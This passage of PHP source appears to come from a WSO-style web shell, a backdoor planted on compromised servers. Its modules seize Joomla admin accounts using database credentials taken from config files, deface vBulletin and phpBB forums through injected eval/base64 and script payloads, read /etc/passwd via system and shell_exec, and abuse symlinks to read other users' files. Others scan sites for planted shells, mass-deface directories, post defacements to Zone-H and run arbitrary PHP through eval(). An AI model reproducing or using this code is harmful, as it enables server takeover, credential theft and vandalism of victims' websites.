<input type="hidden" name="a" value="wpsym"><input class="inputzbut" type="submit" name="kill" value=" Change it Please "></td>
<br></tr></table></form></div>
</center><?php }
wsoFooter(); }
######################## joomla sym ############################
function actionjmsym() {
wsoHeader();
{
if ($_POST['symjo']) {
$config = file_get_contents($_POST['url']);
$user = $_POST['user'];
$pass = md5($_POST['pass']);
function ex($text,$a,$b){
$explode = explode($a,$text);
$explode = explode($b,$explode[1]);
return $explode[0];
}
if($config && ereg('JConfig',$config)){
$psswd = ex(
$config,'$password = \'',"';");
$username = ex($config,'$user = \'',"';");
$dbname = ex($config,'$db = \'',"';");
$prefix = ex($config,'$dbprefix = \'',"';");
$host = ex($config,'$host = \'',"';");
$email = ex($config,'$mailfrom = \'',"';");
$formn = ex($config,'$fromname = \'',"';");
$conn = mysql_connect($host,$username,$psswd) or die(mysql_error());mysql_select_db($dbname,$conn) or die($username.' '.$psswd.' '.$host.' '.$dbname);
$query = @mysql_query("UPDATE `".$prefix."users` SET `username` ='".$user."' , `password` = '".$pass."', `usertype` = 'Super Administrator', `block` = 0");
if ($query) {
echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">'.$formn.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$_POST["pass"].'</td><td width="20%">'.$email.'</td></tr></table>';}else {echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';}}else die('<h2 class="jijle3"><font color="#df5">Jijle3@phdz:~# This is Not Joomla Config . . <br><br> # i Will Drive if You Are Drunk !</font></h2>');
}
else {
?>
<center><br><br><div class="mybox">
<form method="post"><table>
<h1 class="jijle3">Joomla Login Changer From Config</h1>
<tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="hidden" name="a" value="jmsym"><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php }}
wsoFooter(); }
######################## joomla key ############################
function actionjmkey() {
wsoHeader();
{
if(empty($_POST['pwd']))
{
echo "<br><br><br><center><div class='mybox'><h1>Joomla login changer</h1><FORM method='POST'><br><br><br>DB_Prefix : <INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'> host :
<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br> <br>New Username: <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Password: <INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br> <input type='hidden' name='a' value='jmkey'><INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";
}
else {$prefix = $_POST['prefix'];
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$pd = ($_POST["pwd"]);
$pwd = md5($pd);@mysql_connect(
$localhost,$username,$password) or die (mysql_error());
@mysql_select_db($database) or die (mysql_error());
$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());
$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());
if($SQL) echo "<br><br><center><h1>Password Changed ! ... Go and login</h1></center>";}}
wsoFooter(); }
######################## vb index ######################
function actionvbindex() {
wsoHeader();
{
if(empty($_POST['index']))
{
echo "<center><br><br><div width='100%' class='mybox'><br><h1 class='jijle3'>Vbulletin index changer</h1>
<br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'> | database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'> | username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'> | password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'> | perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'>
<br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
</textarea><br><input type='hidden' name='a' value='vbindex'><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>";
}
else{$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$perfix = $_POST['perfix'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo '$index';");
$set_index .= "\'))}}{\${exit()}}</textarea>";
$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());
if($ok){echo "Hamd Li Allah . . . Vb Forum Has Been DEFACED ! <br><br>";
}}}
wsoFooter(); }
####################### {Smylink } ##############################
function actionsym() {
wsoHeader();
//Smylinker
echo'
<center>
<h1>File Symlink</h1>
<br /><br />
<form method="post">
<input type="hidden" name="a" value="sym">
<input type="text" name="file" value="/var/www/" size="50"/><br /><br />
<input type="text" name="symfile" value="algeria.txt" size="50"/><br /><br />
<input type="submit" value="symlink" name="symlink" /> <br /><br />
</form>
';
$pfile = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];
if ($symlink)
{
@mkdir('phdzsymF',0755);
$c = "Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php
AddType txt .html
AddHandler txt .html
Options all
Options
Allow from all
Require None
Satisfy Any";
$f =@fopen ('phdzsymF/.htaccess','w');
@fwrite($f , $c);
@symlink("$pfile","phdzsymF/$symfile");
echo '<br /><a target="_blank" href="phdzsymF/'.$symfile.'" >'.$symfile.'</a>';
}
?></center><?php
wsoFooter();}
################ Etc/pwd ####################
function actionetcbaypass() {
wsoHeader();
//etc passwd
?></center><?php
echo '<br><center><h1>Etc Passwd Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
echo '
<form method="post">
<input type="submit" value="Use [ System ] Function" name="syst">
<input type="hidden" name="a" value="etcbaypass">
</form>
</center><br>
</p>
<form method="post">
<font face="Tahoma" color="#007700" size="2pt">
<input type="submit" value="Use [ PassThru ] Function" name="passth">
<input type="hidden" name="a" value="etcbaypass">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Exec ] Function" name="ex">
<input type="hidden" name="a" value="etcbaypass">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Sh Exec ] Function" name="shex">
<input type="hidden" name="a" value="etcbaypass">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Posix Getpwuid ] Function" name="dz">
<input type="hidden" name="a" value="etcbaypas">
</form>
</center><br>
</p>
<center>';
//System Function //
if($_POST['syst'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//Passthru Function //
if($_POST['passth'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//exec Function //
if($_POST['ex'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//exec Function //
if($_POST['shex'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '</center>
<center>';
//posix_getpwuid Function //
if($_POST['dz'])
{
echo"<textarea class='area' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
?></center><?php
wsoFooter();}
################################## Server User ##############################
function actionetcnmd() {
wsoHeader();
echo '<br><center><h1>Server User Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
echo '
<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p><center>
<form method="post">
<input type="submit" value="Use [ AWK Programe ] Function" name="awk">
<input type="hidden" name="a" value="etcnmd">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Systeme ] Function" name="syst">
<input type="hidden" name="a" value="etcnmd">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Passthru ] Function" name="passth">
<input type="hidden" name="a" value="etcnmd">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Exec ] Function" name="ex">
<input type="hidden" name="a" value="etcnmd">
</form>
</center><br>
</p>
<p><center>
<form method="post">
<input type="submit" value="Use [ Sh Exec ] Function" name="shex">
<input type="hidden" name="a" value="etcnmd">
</form>
</center><br>
</p><center>';
//Awk Program //
if ($_POST['awk']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//System Function //
if ($_POST['syst']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//Passthru Function //
if ($_POST['passth']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//exec Function //
if ($_POST['ex']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//exec Function //
if ($_POST['shex']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?></center><?php
wsoFooter();}
##################### Shell Finder ####################
function actionshellfind() {
wsoHeader();
echo'<center>
<center><h1>Shell Finder<h1><br>
<p align="center"></p><br>
<form method="POST">
</form><center>
<form action="" method="post">
<input name="traget" type="text" size="100" value="http://www.site.co.il/"/><br>
<input type="hidden" name="a" value="shellfind">
<br><br>
<input name="scan" size="100" value="Start Scaning" type="submit">
</form><br>';
set_time_limit(0);
if (isset($_POST["scan"])) {
$url = $_POST['traget'];
echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
$shells = array("WSO.php","shell.php","3xd.php","dz.php","priv8.php","sniper.php","dhanush shell.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/","ma.php", "tn.php", "wso.php.html", "shell.php", "dhanush.php",
"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip");
//Start Scan
foreach ($shells as $shell){
$headers = get_headers("$url$shell"); //
if (eregi('200', $headers[0])) {
//Result
echo "<a href='$url$shell'>$url$shell</a> <span class='found'</span><br /><br/><br/>"; //
}
}
}
?></center><?php
wsoFooter();}
######################### Domains #########################
function actiondomains() {
wsoHeader();
echo '<center><h1>Server Domain</h1>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die(" [/etc/named.conf] Not Writeable ! "); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
wsoFooter(); }
######################### Mass Deface #########################
function actionmass(){
wsoHeader();
?>
<head>
<center>
<span style="font-weight: 700;" class="style33">
<h1>Folders Mass Defacer</h1></span></span></span><BR>
</div>
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
<div class="style31"><center>
<span>Directory : </span><br><input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'><BR><br>
<span>index Url : </span><br><input type='text' style='width: 250px' name='massdefaceurl'>
</form></td>
<p class="style3">
<input type="hidden" name="a" value="mass"><input type='submit' name='execmassdeface' value='>>'></div>
<center><span>Rusult : <span>
<span <ul>
<span class="style32">
<span class="style39">
</span></p>
<span style="font-weight: 700;" class="style33">
<font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">
</center>
<div class="style31">
<html>
<?php
echo "<center><textarea rows='10' cols='100'>ph@dz:~# Jijle3 Mass Defacer | ";
$defaceurl = $_POST['massdefaceurl'];
$dir = $_POST['massdefacedir'];
echo $dir."
";
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir.$file)=="dir"){
$newfile=$dir.$file."/index.html";
echo $newfile."
";
if (!copy($defaceurl, $newfile)) {
echo "ph@dz:~# Faild To Copy ! >> $file...";
}
}
}
closedir($dh);
}
}
echo "</textarea></center>";
wsoFooter(); }
############## Domain #####################
function actionDomain(){
printHeader();
echo '<h1>local domain viewer</h1><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
wsoFooter();
}
######################### Zone-h ############################
function actionzoneh() {
wsoHeader();
{
?>
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<center>
<h1>Zone-H Mass Poster</h1>
<br /><br />
<font>Attaker Name<font><center><input type="text" class="inputz" name="defacer" value="Martyrs Crew" /><br>
<select name="hackmode" class="inputz" >
<option >------------------------ Select ------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >------------- Select ---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea name="domain" cols="116" rows="9" id="domains">-Jijle3 : Sites Here</textarea>
<br /><input type="hidden" name="a" value="zoneh"><input class='inputzbut' type="submit" value="Send'it Please !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H.org Has Been Completed Successfully ! ! ";
echo '</center>';
}
wsoFooter();
}
######################### phpbb defacer ###########################
function actionphpbb() {
wsoHeader();
echo'<center><h1> PHPBB index Changer </h1>
<form method = "POST">
<table border = "1" width="443" height="316" style="text-align: center" align="center">
<tr>
<td height="105" width="780">
<p align="center"><b>Host : </b>
<input type="text" name="f5" size="20" value="localhost"> <b>
DataBase :</b> <input type ="text" name = "f6" size="20"></p>
<p align="center"> <b>User :</b> <input type ="text" name = "f7" size="20">
<b> Password :</b> <input type ="text" name = "f8" size="20"><p align="center">
<b>Table Prefix:</b><br>
<input type ="text" name = "f9" size="20" value="phpbb_forums"></td>
</tr>
<tr>
<td height="167" width="780"><p align="center"> <textarea name="index2" cols=50 rows=10> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
</textarea><p align="center"><input type="hidden" name="a" value="phpbb"><input type = "submit" value = "Deface !">
<input type = "reset" value = "Clear"></td>
</tr>
</tr>',
$localhost2 = $_POST['f5'];
$database2 = $_POST['f6'];
$username2 = $_POST['f7'];
$password2 = $_POST['f8'];
$index2 = $_POST['index2'];
$phpbb = $_POST['f9'];
if($database2=$_POST['f6']){
$con2 =@ mysql_connect($localhost2,$username2,$password2) or die;
$db2 =@ mysql_select_db($database2,$con2) or die;
$query2 = "UPDATE $phpbb SET forum_name = '<script>location.href=\"$index2\"</script>'" or die;
$result2 =@ mysql_query($query2,$con2);
if($result2){
echo "<p align='center'>
<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
}
else {
echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
}
}
//Greetz to FoX HACKER
//Coded by Mr.511
//[email protected]
wsoFooter();}
##########################################################
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Exec style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
